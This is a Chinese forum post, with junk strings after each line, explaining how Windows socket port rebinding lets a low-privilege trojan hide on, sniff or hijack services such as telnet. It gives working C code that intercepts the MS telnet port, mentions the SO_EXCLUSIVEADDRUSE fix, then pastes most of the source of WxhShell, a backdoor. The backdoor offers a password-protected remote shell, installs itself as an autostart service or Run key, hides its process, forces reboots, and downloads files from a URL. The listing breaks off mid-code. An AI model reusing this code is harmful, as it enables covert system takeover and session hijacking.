社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13689阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M@',3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /UEV8 1  
RPz!UMQSD  
  saddr.sin_family = AF_INET; P@^z:RS*{  
~uP r]#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2U=/<3;u  
^#<: <X6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <K=@-4/Bp  
Eqz4{\   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?|%\<h@;  
TBoM{s=.  
  这意味着什么?意味着可以进行如下的攻击: <`oCz Q1  
+Q@/F~1@6@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EX+={U|ua$  
x`};{oz;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3bT6W, J4T  
[[";1l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OqEg{o5 a&  
{^PO3I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d~togTs1  
yYxeNE"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5`1(}  
*/0vJz%<.M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Verbmeg&n  
GnSgO-$"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 { r< (t#  
W\ 1bE(AwZ  
  #include o<C]+Nt,@  
  #include |_hioMVz  
  #include  ~ LJ>WA  
  #include    o(Ua",|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2<46jJYL'  
  int main() >!HfH(is\  
  { 3s+<    
  WORD wVersionRequested; ~8KF<2c   
  DWORD ret; i6!T`Kau  
  WSADATA wsaData; ::3iXk)  
  BOOL val; Q:-%3)g<<  
  SOCKADDR_IN saddr; Dz"u8 f  
  SOCKADDR_IN scaddr; ? 6yF{!F*  
  int err; PV,kYM6  
  SOCKET s; y V 9]_k  
  SOCKET sc; Z@>=&  
  int caddsize; 7- *( a  
  HANDLE mt; }[=xe(4]D  
  DWORD tid;   I =tyQ`  
  wVersionRequested = MAKEWORD( 2, 2 ); 4 ~MJ4:  
  err = WSAStartup( wVersionRequested, &wsaData ); Zq\RNZ}  
  if ( err != 0 ) { 2$j Ot}  
  printf("error!WSAStartup failed!\n"); AHp830\  
  return -1; :{TmR3.  
  } /ZIJ<#o[  
  saddr.sin_family = AF_INET; p]1yd;Jt  
   xN{"%>Mx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  c{f:5 p  
v -|P_O&z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %-1BA *J`|  
  saddr.sin_port = htons(23); L5V'Sr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h a,=LV  
  { yL.PGF1(  
  printf("error!socket failed!\n"); -H ac^4uF  
  return -1; U- *8%>Qp  
  } W|r+J8  
  val = TRUE; ^LEmi1L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P/C+L[X=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (T%F!2i([U  
  { %ojR?=ON  
  printf("error!setsockopt failed!\n"); @^y?Bh9jQ  
  return -1; 5 CY_Ay\  
  } P*0nT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z'\}/k+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pjKl)q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [6&CloY3  
OUIUgej  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !%Hl#Pv}  
  { {LB }v;?l  
  ret=GetLastError(); 9J2q`/6~e  
  printf("error!bind failed!\n"); ;mo\ yW1  
  return -1; Wd^F%)(  
  } Bah.\ZsYQP  
  listen(s,2); r:WgjjA%  
  while(1) R[>;_}5">  
  { 8XH|T^5  
  caddsize = sizeof(scaddr); iX>!ju'V  
  //接受连接请求 UpszCY4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UgD'Bi  
  if(sc!=INVALID_SOCKET) :9!0 Rm  
  { 9pl_V WrQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4I:JaRT d  
  if(mt==NULL) JXSqtk=  
  { )v!lPpe8  
  printf("Thread Creat Failed!\n"); zV_-rf  
  break; QNa}M{5>h  
  } IioE<wS)  
  } RaM#@D7  
  CloseHandle(mt); $cJN9|$6  
  } |qy"%W@  
  closesocket(s); Rbj+P;t&  
  WSACleanup(); Kt4\&l-De  
  return 0; z:i X]df  
  }   AHMV@o`V  
  DWORD WINAPI ClientThread(LPVOID lpParam) V M\Z<}C  
  { LL$,<q%(P  
  SOCKET ss = (SOCKET)lpParam; PgG |7='  
  SOCKET sc; [b k&Nd[  
  unsigned char buf[4096]; B0oY]r6  
  SOCKADDR_IN saddr; s68_o[[E  
  long num; i9EMi_%  
  DWORD val; xv#j 593  
  DWORD ret; <zDw& s2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NW4 s'roP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2YE]?!   
  saddr.sin_family = AF_INET; WKrZTPD'm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X%9xuc  
  saddr.sin_port = htons(23); M ly z><  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J?Ep Nie  
  { MVeQ5c(  
  printf("error!socket failed!\n"); J6["j   
  return -1; jC Kt;lj  
  } q*y9/HnI  
  val = 100; 'd.@4 9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  oRbYna?J  
  { MZP><Je&  
  ret = GetLastError(); `Z7ITvF>  
  return -1; SAll9W4  
  } R&=GB\`:a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J_wz'eIb0  
  { :{xN33@6\X  
  ret = GetLastError(); zloaU  
  return -1; SJ[@fUxO)  
  } \(>$mtS:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kf?{GNE7  
  { F;Xq:e8  
  printf("error!socket connect failed!\n"); xXU/m|  
  closesocket(sc); kN9sug^  
  closesocket(ss); /6+%(f}7l  
  return -1; B]KLn?zt5  
  } eRx[&-c  
  while(1) $W_o$'crW  
  { )p^jsv.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /XW0`FF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W];6u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !VJa$>,  
  num = recv(ss,buf,4096,0); x"wM_hl5L  
  if(num>0) \lbiz4^>  
  send(sc,buf,num,0); \IZ4( Z  
  else if(num==0) Tvx8l m '  
  break; (&]15 FJ$1  
  num = recv(sc,buf,4096,0); &G,o guo  
  if(num>0) T4}?w  
  send(ss,buf,num,0); TnU$L3k  
  else if(num==0) ^)IL<S&h  
  break; ;?lM|kK  
  } F",abp!  
  closesocket(ss); 7fzyD  
  closesocket(sc); oJ@PJvmR&a  
  return 0 ; 9]F&Fz/G  
  } i+x6aQ24  
[ 6o:v8&3  
q\HBAr y  
========================================================== 8}#Lo9:,d  
ylxfh(  
下边附上一个代码,,WXhSHELL }.$ B1%2  
Lr\ B  
========================================================== o>A%}YU  
!g&B)0u]*  
#include "stdafx.h" Y&Lk4  
WfbNar[  
#include <stdio.h> W>|b98NPu  
#include <string.h> g+/U^JIc4l  
#include <windows.h> K9M.+d4  
#include <winsock2.h> .@3u3i64'  
#include <winsvc.h>  ~M^7qO  
#include <urlmon.h> K y4y  
S 2 h  
#pragma comment (lib, "Ws2_32.lib") ;Kq?*H  
#pragma comment (lib, "urlmon.lib") DPxu3,Y  
BG8)bh k;/  
#define MAX_USER   100 // 最大客户端连接数 0o=)&%G  
#define BUF_SOCK   200 // sock buffer f>+}U;)EF  
#define KEY_BUFF   255 // 输入 buffer RHAr[$  
}7 z+  
#define REBOOT     0   // 重启 $)7f%II  
#define SHUTDOWN   1   // 关机 h-rj  
5'-9?-S"  
#define DEF_PORT   5000 // 监听端口 I2lZ>3X{  
P~ZV:Of  
#define REG_LEN     16   // 注册表键长度 ~kJpBt7M  
#define SVC_LEN     80   // NT服务名长度 wXZY5-h4  
KC-aLq/  
// 从dll定义API kGqf@ I+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,L:)ZZgN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h_G7T1;L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yaXa8v'oC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); # +]! u%n  
V1>94/waa  
// wxhshell配置信息 *Z2Q]?:{ i  
struct WSCFG { 2,Dc]oj  
  int ws_port;         // 监听端口 /"{ ,m!  
  char ws_passstr[REG_LEN]; // 口令 EF=D}"E6pO  
  int ws_autoins;       // 安装标记, 1=yes 0=no : RO:k|g  
  char ws_regname[REG_LEN]; // 注册表键名 ?E_p,#9j)  
  char ws_svcname[REG_LEN]; // 服务名 RTY4%6]O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7%!KAtc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hPpXB:(-0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;k%sKVP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HPdwx V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y8S6ZtA}2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q<uLBaL_]r  
<~X6D?  
}; +<WT$ddK=5  
[f(^vlK  
// default Wxhshell configuration ~wg^>!E  
struct WSCFG wscfg={DEF_PORT, Q4 :r$ &  
    "xuhuanlingzhe", 0a%ui2k  
    1, 9S1V! Jp  
    "Wxhshell", 64>[pZF8  
    "Wxhshell", w&cyGd D5  
            "WxhShell Service", uBkn y;  
    "Wrsky Windows CmdShell Service", 7 =*k@9  
    "Please Input Your Password: ", K$GXXE`  
  1, J+gsmP-_  
  "http://www.wrsky.com/wxhshell.exe", g uWqHVSs  
  "Wxhshell.exe" 0_pwY=P  
    }; ZDmk<}A-U  
R.`J"J0/~  
// 消息定义模块 H&IP>8Dk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Qp/3(g e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3A}8?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7Ej#7\TB]  
char *msg_ws_ext="\n\rExit."; L5uI31  
char *msg_ws_end="\n\rQuit."; 6b01xu(A[  
char *msg_ws_boot="\n\rReboot..."; '|?r&-5 h  
char *msg_ws_poff="\n\rShutdown..."; D?F5o^e"h<  
char *msg_ws_down="\n\rSave to "; 2`U&,,-Mf  
V\hct$ 7Vm  
char *msg_ws_err="\n\rErr!"; j5GZ;d?  
char *msg_ws_ok="\n\rOK!"; 7uNI  
)9Ojvp=#r:  
char ExeFile[MAX_PATH]; :uDB3jN[  
int nUser = 0; N,Bs% p#1  
HANDLE handles[MAX_USER]; qM !q,Q  
int OsIsNt; U7eQ-r  
M':.b+xN  
SERVICE_STATUS       serviceStatus; ZSt ww{Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B8Zd#.6]  
*bSG48W("  
// 函数声明 ~At.V+  
int Install(void); S$On$]~\"  
int Uninstall(void); *{s[$}uQ  
int DownloadFile(char *sURL, SOCKET wsh); 6&0a?Xu  
int Boot(int flag); B[X6A Qj}d  
void HideProc(void); K!gFD  
int GetOsVer(void); D}3fx[  
int Wxhshell(SOCKET wsl); ,peE'   
void TalkWithClient(void *cs); Bys|i0tb-  
int CmdShell(SOCKET sock); 0^Cx`xdX:  
int StartFromService(void); S c Kfr  
int StartWxhshell(LPSTR lpCmdLine); tb\pjLB][  
8!>pFVNJf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6D(m8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,sl.:C4  
Nq6CvDXi  
// 数据结构和表定义 iH0c1}<k$  
SERVICE_TABLE_ENTRY DispatchTable[] = e'&{KD,-T  
{  E/;YhFb[  
{wscfg.ws_svcname, NTServiceMain}, !:{_<C"D  
{NULL, NULL} 9Wrcl ai  
}; .utL/1Ej  
+]vl8, 4@  
// 自我安装 iW~f  
int Install(void) vy?YA-  
{ e5KF~0`  
  char svExeFile[MAX_PATH]; Sn&%epi  
  HKEY key; Y|nTc.A  
  strcpy(svExeFile,ExeFile); eqCB2u"Jq  
R"([Y#>m  
// 如果是win9x系统,修改注册表设为自启动 }2oJ  
if(!OsIsNt) { O 9)8a]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N *>; '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `<~P>  
  RegCloseKey(key); q% 9oGYjvQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /WVMT]T6^,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t%@ pyK  
  RegCloseKey(key); ek!N eu>  
  return 0; GXVGU-br  
    } U$ bM:d  
  } )wd~639U  
} +ETw:i9!?  
else { p\\q[6  
h zE)>f  
// 如果是NT以上系统,安装为系统服务 (5&"Y?#o,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +Ti@M1A&  
if (schSCManager!=0) WpZ^R;eK  
{ 'L/TaP/3  
  SC_HANDLE schService = CreateService 8 K!a:{  
  ( ~O$]y5  
  schSCManager, kw'D2692  
  wscfg.ws_svcname, B,T.bgp\  
  wscfg.ws_svcdisp, `^vD4qD|  
  SERVICE_ALL_ACCESS, UxtZBNn8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Oh$sma1  
  SERVICE_AUTO_START, t+ ]+Gn  
  SERVICE_ERROR_NORMAL, ,#l oVLy  
  svExeFile, .*"IJD9  
  NULL, U+ =q_ <  
  NULL, rfoCYsX'  
  NULL, o9>X"5CmX  
  NULL, 7F\g3^ z9`  
  NULL oR)7 \;g  
  ); xd<68%Cn  
  if (schService!=0) zu%pr95U  
  { ta(x4fP_  
  CloseServiceHandle(schService); gEu\X|7'  
  CloseServiceHandle(schSCManager); \O~7X0 <W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _P:P5H8  
  strcat(svExeFile,wscfg.ws_svcname); *p^MAk9=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |t_2AV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?M2@[w8_  
  RegCloseKey(key); qFk(UazN  
  return 0; is$d<Y&F  
    } m<4Lo0?nS  
  } ZxW V ,s&p  
  CloseServiceHandle(schSCManager); D=Y HJ>-wB  
} =@>&kU%$&  
} w?q"%F;/  
PYe>`X?  
return 1; f9$q.a*  
} IYPLitT  
w=$_',5#Z  
// 自我卸载 RI=B(0 A  
int Uninstall(void) /xzL!~g`6<  
{ &#l M$7/  
  HKEY key; Pt+_0OsR  
d?n~9_9e  
if(!OsIsNt) { vI@8DWs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x&d<IU)5  
  RegDeleteValue(key,wscfg.ws_regname); Jo@9f(hq  
  RegCloseKey(key); X(\RA.64  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nDvWOt  
  RegDeleteValue(key,wscfg.ws_regname); u[DV{o  
  RegCloseKey(key); j3>< J  
  return 0; LmE-&  
  } A5b}G  
} 8TZe=sD~cr  
} g d-fJ._1  
else { mN`a]L'  
MgekLP )&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T$e_ao|  
if (schSCManager!=0) I f(_$>  
{ uu>g(q?4II  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  a4yU[KK  
  if (schService!=0) NO1PGen  
  { s5HbuyR^  
  if(DeleteService(schService)!=0) { 7^F?key?  
  CloseServiceHandle(schService); /<@tbZJ*8  
  CloseServiceHandle(schSCManager); 92i# It}-/  
  return 0; ~ocr^V{"<~  
  } wHmEt ORo  
  CloseServiceHandle(schService); @ h]H_  
  } ~xCy(dL^}  
  CloseServiceHandle(schSCManager); fu/c)D6u*m  
} w#XJ!f6*_9  
} H;6V  
o>YR Kb  
return 1; 2-4%h!  
} oaHBz_pg  
~EBZlTN  
// 从指定url下载文件 kL-+V)Kl  
int DownloadFile(char *sURL, SOCKET wsh) -Da_#_F  
{ Sv ,_G'  
  HRESULT hr; *sTQ9 Kr  
char seps[]= "/"; ]:;gk&P  
char *token; ":Q^/;D}U  
char *file; <+a\'Xc  
char myURL[MAX_PATH]; e/6oC~#]  
char myFILE[MAX_PATH]; 3-05y!vbcE  
-[=`bHo  
strcpy(myURL,sURL); X:A\{^ ~  
  token=strtok(myURL,seps); >nxtQ  
  while(token!=NULL) d={}a,3?  
  { 8HzEH-J   
    file=token; G4i&:0  
  token=strtok(NULL,seps); &}]Wbk4:  
  } )JPcSy*  
Wg[`H=)Q  
GetCurrentDirectory(MAX_PATH,myFILE); t`?FSV  
strcat(myFILE, "\\"); {9)f~EbM!  
strcat(myFILE, file); =k'dbcfO$9  
  send(wsh,myFILE,strlen(myFILE),0); mXr)lA  
send(wsh,"...",3,0); eR/7*G5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a4wh-35/  
  if(hr==S_OK) (n< xoV[e  
return 0; *VH1(E`hl  
else e\89;)  
return 1; Q_dFZ  
P|\,kw>l  
} Y4_i=}\*vf  
Xf0pQ]8\  
// 系统电源模块 4&\m!s  
int Boot(int flag) @*oi1_q  
{ loZfzN&6A  
  HANDLE hToken; Na=q(OKN  
  TOKEN_PRIVILEGES tkp; ukw'$Yt2  
43eGfp'  
  if(OsIsNt) { eRGip2^cq+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zy'bX* s|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7 MfpZgC  
    tkp.PrivilegeCount = 1; u$0>K,f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8S0)_L#S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6ugBbP +^  
if(flag==REBOOT) { 'j.{o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rk'Dd4"m ,  
  return 0; qRU8uu   
} {M=tw  
else { {f!mm3'2v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MG~^>  
  return 0;  I{E10;  
} y]Y)?])  
  } $oNkE  
  else { !v^D j']  
if(flag==REBOOT) { K1Tzy=Z9j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }, ]W/  
  return 0; AIE)q]'Q  
} QoqdPk#1  
else { htaB! Q?V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k,r\^1h  
  return 0; Sh"} c2  
} w,\Ua&>4  
} "^u|vCqw  
s~GO-v7  
return 1; ON=xn|b4  
} Tkd4nRo~  
xT@\FwPr  
// win9x进程隐藏模块 4Ld0AApncy  
void HideProc(void) 5L4~7/kj  
{ SO}Hc;Q1`  
jtZ@`io  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4 0Du*5M  
  if ( hKernel != NULL ) ?-(E$ll  
  { T-27E$0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5SDHZ?h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j"c"sF\q  
    FreeLibrary(hKernel); gSP|;Gy  
  } d=xweU<  
d/;oNC+  
return; n&@\[,B  
} 8Uc#>Ae'_  
aeSXHd?+(  
// 获取操作系统版本 N?~K9jGx(  
int GetOsVer(void) fx9c1h9s  
{ W1Ht8uYG3  
  OSVERSIONINFO winfo; ~_R=2t{u _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = uOFaZ4  
  GetVersionEx(&winfo); [u~#F,_ow  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gvz&ppcG  
  return 1; B&tl6?7h  
  else 5^tL#  
  return 0; sR#( \  
} L8!xn&uyP=  
)u<sEF  
// 客户端句柄模块 wWwY .}j  
int Wxhshell(SOCKET wsl) u+S*D\p<`  
{ Y,?rykRj  
  SOCKET wsh; 4j/8Otn  
  struct sockaddr_in client; h(>4%hF  
  DWORD myID; MvObx'+  
aN.Phn:  
  while(nUser<MAX_USER) KO:o GUR  
{ 1C:lXx$|  
  int nSize=sizeof(client); i5|!M IY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pi+m`O   
  if(wsh==INVALID_SOCKET) return 1; g,9o'fs`x  
is`le}$^y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #Ey!?Z  
if(handles[nUser]==0) !x|Ok'izDL  
  closesocket(wsh); DaaLRMQ=  
else w,D(zk$   
  nUser++; jiz"`,-},O  
  } A"p7N?|%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |odl~juU  
oT.g@kf=H  
  return 0; )mJl-u[0+  
} 5G= 2=E  
}7k+tJ<   
// 关闭 socket >OmY  
void CloseIt(SOCKET wsh) #O qfyY!  
{ W~FcU+a  
closesocket(wsh); Id|38   
nUser--; =((#kDrN  
ExitThread(0); -bduB@#2d  
} ;E(%s=i  
ho;Km  
// 客户端请求句柄 sZ7{_}B  
void TalkWithClient(void *cs) EnZrnoGM  
{ %YA=W=Yd  
4w\cS&X~C  
  SOCKET wsh=(SOCKET)cs; (+(YO\ng6  
  char pwd[SVC_LEN]; } 5FdX3YR  
  char cmd[KEY_BUFF]; \A Y7%>  
char chr[1]; C4]vq+  
int i,j; h )fi9  
^.M*pe  
  while (nUser < MAX_USER) { /c8F]fkZ=  
zuwCN.  
if(wscfg.ws_passstr) { +.NopI3:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jah~h44&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *h$Z:p-g  
  //ZeroMemory(pwd,KEY_BUFF); aB+Ux< -  
      i=0; PJsiT4<  
  while(i<SVC_LEN) { },e f(  
D~G24k6b3  
  // 设置超时 a3sXl+$D@  
  fd_set FdRead; a>G|t5w  
  struct timeval TimeOut; s -~Tf|  
  FD_ZERO(&FdRead); -!k"*P  
  FD_SET(wsh,&FdRead); vn9_tL&  
  TimeOut.tv_sec=8; he;&KzEu  
  TimeOut.tv_usec=0; MkF:1-=L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #B_ ``XV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7ae8nZ3&  
z;x $tO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1nye.i~  
  pwd=chr[0]; D}r,t_]Eb  
  if(chr[0]==0xd || chr[0]==0xa) { :"#EQq]ct  
  pwd=0; lrPiaSO`I  
  break; ^?VYE26  
  } U5[xW  
  i++; HE,# pj(D  
    } VZ 5EV'D8!  
j ~:Dr   
  // 如果是非法用户,关闭 socket m$Lq#R={Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }1f@>'o  
} _ko16wfg  
+'Ec)7m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }E+#*R3auB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]g2Y/\)a  
]'3e#Cqeh  
while(1) { E9!u|&$S  
J] ^)vxm3  
  ZeroMemory(cmd,KEY_BUFF); Ph'*s{   
J*vy-[w  
      // 自动支持客户端 telnet标准   |$`)d87,  
  j=0; l\vtz5L  
  while(j<KEY_BUFF) { Py3Xvudv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A]id*RtY  
  cmd[j]=chr[0]; *tC]Z&5  
  if(chr[0]==0xa || chr[0]==0xd) { I9-vV>:z  
  cmd[j]=0; Y9F!HM-`  
  break; KWq7M8mq  
  } K3Zc>QL{  
  j++; 4W &HUQ?^  
    } CqDKQQ  
/p+ (_Y  
  // 下载文件 7@NAky(  
  if(strstr(cmd,"http://")) { 7aUk?Hf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "T|%F D&[  
  if(DownloadFile(cmd,wsh)) {f3&s4xj=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dlsVE~_G  
  else E5(\/;[*`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q{gt2OWqX  
  } z=J%-Hq>  
  else { =\GuIH2  
0!!b(X(  
    switch(cmd[0]) { [4KW64%l  
  0wU8PZ Nj  
  // 帮助 $@<qaR{t\  
  case '?': { 8.3888  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B#9rqC  
    break; Z[[ou?c  
  } -]\cUQ0  
  // 安装 (\}>+qS[  
  case 'i': { ^|M\vO  
    if(Install()) TO7%TW{L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !*_5 B'  
    else z;yb;),  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bt[OGa(q  
    break; _-$O6eZ  
    } d~1Nct$:  
  // 卸载 pCS2sq8RC  
  case 'r': { 6m"_=.k%  
    if(Uninstall()) %T4htZa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1Bu5%bt,:  
    else b0|q@!z>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i>#[*.|P  
    break; qfE>N?/  
    } =LEKFXqM  
  // 显示 wxhshell 所在路径 !g{9]"Z1T  
  case 'p': { f|G,pDL x  
    char svExeFile[MAX_PATH]; @|! 9~F  
    strcpy(svExeFile,"\n\r"); eJFGgJRIvF  
      strcat(svExeFile,ExeFile); %y ;E1pva  
        send(wsh,svExeFile,strlen(svExeFile),0); (jv!q@@2C.  
    break; '~Uo+<v$w  
    } 3)ac  
  // 重启 Z".mEF-b  
  case 'b': { !mLQdkTE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o7Ms]AblT  
    if(Boot(REBOOT)) [zmx  
